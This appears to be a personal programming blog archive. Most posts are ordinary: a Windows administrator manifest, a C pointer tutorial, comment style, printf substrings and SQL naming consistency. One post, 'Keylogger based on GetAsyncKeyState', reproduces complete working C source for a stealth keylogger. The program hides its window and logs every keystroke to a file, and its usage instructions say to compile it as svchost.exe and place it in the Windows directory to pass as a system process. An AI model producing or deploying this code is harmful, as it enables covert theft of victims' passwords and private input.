Monday, June 6, 2016

Embedding facebook video

http://stackoverflow.com/questions/22601429/play-facebook-video-in-android-app https://developers.facebook.com/docs/plugins/embedded-video-player
How to Share With Just Friends

How to share with just friends.

Posted by Facebook on Friday, December 5, 2014

Thursday, May 26, 2011

Run as administrator in Windows 7

To create a manifest for a C or C++ project in Microsoft Visual Studio 2005

1. Open your project in Microsoft Visual Studio 2005.

2. Under Project, select Properties.

3. In Properties, select Manifest Tool, and then select Input and Output.

4. Add in the name of your application manifest file under Additional manifest files. A sample manifest file is given below.

5. Rebuild your application.


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
   <ms_asmv2:trustInfo xmlns:ms_asmv2="urn:schemas-microsoft-com:asm.v2">
      <ms_asmv2:security>
         <ms_asmv2:requestedPrivileges>
            <ms_asmv2:requestedExecutionLevel level="requireAdministrator">
            </ms_asmv2:requestedExecutionLevel>
         </ms_asmv2:requestedPrivileges>
      </ms_asmv2:security>
   </ms_asmv2:trustInfo>
</assembly>

Wednesday, April 27, 2011

No pointers.. No Glory

I have seen many fresh candidates who show up for C/C++ jobs and they don't know anything about pointers. Some of junior S/W engineers don't know pointers as well. This is really disappointing :( Here are some basics that everyone should know.

int VAR = 10;

What this declaration really says is:
1. There is some memory reserved for VAR
2. Size of this memory is 4 bytes as sizeof(int) == 4
3. content of this memory is 10

Usually everyone know this, but there is one more detail that people forget
4. There is an address of the memory... we can assume for now that memory for VAR starts from 0x0400 to 0x0403. We call this address of VAR.

But how can we really know what is the address of VAR. That's simple!

cout << &VAR;

& is a construct of C that can be used to get the address of any variable. &VAR is also called reference of VAR. Above statement will print the actual address of VAR.

Now we declare a pointer

int *PTR = &VAR; //also means int * PTR = 0x0400;

This declaration means
1. There is some memory reserved for PTR
2. Size of this memory is 4 bytes as all pointers are of 4 bytes in 32 bit architecture
3. content of this memory is 0x0400
4. There is an address of the memory... we can assume for now that memory for PTR starts from 0x0800 to 0x0803. We call this address of PTR.


Here is what we get in following statements.

1. cout << VAR; //10
2. cout << &VAR; //0x0400
3. cout << PTR; //0x0400
4. cout << &PTR; //0x0800

Now how to use PTR to access VAR? For that C gives us a construct *. An asterisk (*) and an ampersand (&) are opposite to each other. & gets address of a variable while * gets variable from an address.

*PTR
using cout 3: *PTR == *(0x0400)
using cout 2: *(0x0400) = *(&VAR)
we know sin(cosin(x)) == x similarly * and & cancel each other out so
*(&VAR) = VAR

So
cout << *PTR; //10
cout << var; //10

Friday, December 31, 2010

Keylogger based on GetAsyncKeyState

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: SVCHOST.c *
* *
* Purpose: a stealth keylogger, writes to file "svchost.log" *
* *
* Usage: compile to svchost.exe, copy to c:\%windir%\ and run it. *
* *
* Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */


#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);


int t=get_keys();

return t;
}

int get_keys(void)
{
short character;
while(1)
{
Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{

FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
case VK_NUMPAD1:
case VK_NUMPAD2:
case VK_NUMPAD3:
case VK_NUMPAD4:
case VK_NUMPAD5:
case VK_NUMPAD6:
case VK_NUMPAD7:
case VK_NUMPAD8:
case VK_NUMPAD9:
fputc(character-60,file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}

}
return EXIT_SUCCESS;
}



Taken from http://www.rohitab.com/discuss/topic/36622-c-keylogger/

Tuesday, December 7, 2010

Comments /*in code*/

Best code is the code that is easily readable. But again it is not always possible to write complex logic that way. I such cases your best option is to explain the code in simple English! yup comments were invented for a reason you know :D

There are few philospphies that I have seen people adopting:

1> Comments are for noob
Follower of this philosophy don't write comments at all. I have seen thousands of lines of code without comments. Only place they use comments are obsolete code :(

This makes code hard to understand and hard to maintain. Always remember the maintainability of the code takes precedence over readability and writability.

2> Comments for everything
This is some thing that my instructor in university wanted from us. Though this philosophy has it's own issues. I would recommend that all the instructors adopt this philosophy. This way kids are trained not to skip comments when they are under pressure.

In professional environment this is not that great an idea. Sometime the green block of code takes too much attention. This makes code hard to read as well. There is a very big fat line between the first 2 categories and one should always reside on that line :)

3>Comments are for coder
This is most popular style people adopt. Developers use comments where the logic is so complex that even the write of the code got confused. So he wrote some comments so that he can recall the magic used there when he reads the comment.

There are 2 issues here. First is that the usually the code could have been broken down in simpler sub sections. Second issue is that why didn't developer think of simpler logic in the first place :D

4> Write code for human beings, not machines
This is perhaps the most efficient way of writing comments. Always write code for a human reader. The machine will eventually understand you code once it is compiled. But there is no software that will make your code readable for a human reader. BTW I think this is an excellent idea for a product :P

If your code is not readable... and there is nothing you can do to make it human reader write comments to make it readable :)

Wednesday, September 22, 2010

printf for substring

There are situations when you don't want to print whole string. The first time when I was in need of such functionality was when I wanted to print ANSI_STRING in driver level. This special data structure does not put a trailing '\0' at end of every string. Rather Each string has a field that store the length of the buffer. If you find yourself in any such situation fear not =) printf can output a substring as well. All you need is the length of substring. Here is the code for that... enjoy!!!


#include "stdio.h"

int main ()
{
char * hello = {"Hello World! How are you doing?"};
int len = 12;
printf("%.*s\n", len, hello);
return 0;
}


Here is the output of this function:

Hello World!

Tuesday, June 29, 2010

Always try to check the spellings... and be consistent with them :)

Well this is the basic most important thing to to do. This helps you retrieve information easily. Today I spent 10 mins trying to figure out a problem. I was to retrieve data from some_analysis table. How did I know that a table with name some_analysis existed. That's easy I had a foreign_table that had a column named Some_Analysis_ID. So I constructed a query, but query failed to execute.

select * from some_analysis where id = (select some_analysis_id from foreign_table where id = 13);

I asked my colleague if this table existed and he verified that there was a table with this name. So after much effort I fond the DB schema, and guess what I found. Table name was some_analysEs

I was mad first but realized that analyses are legal spellings as well :( The only problem was consistency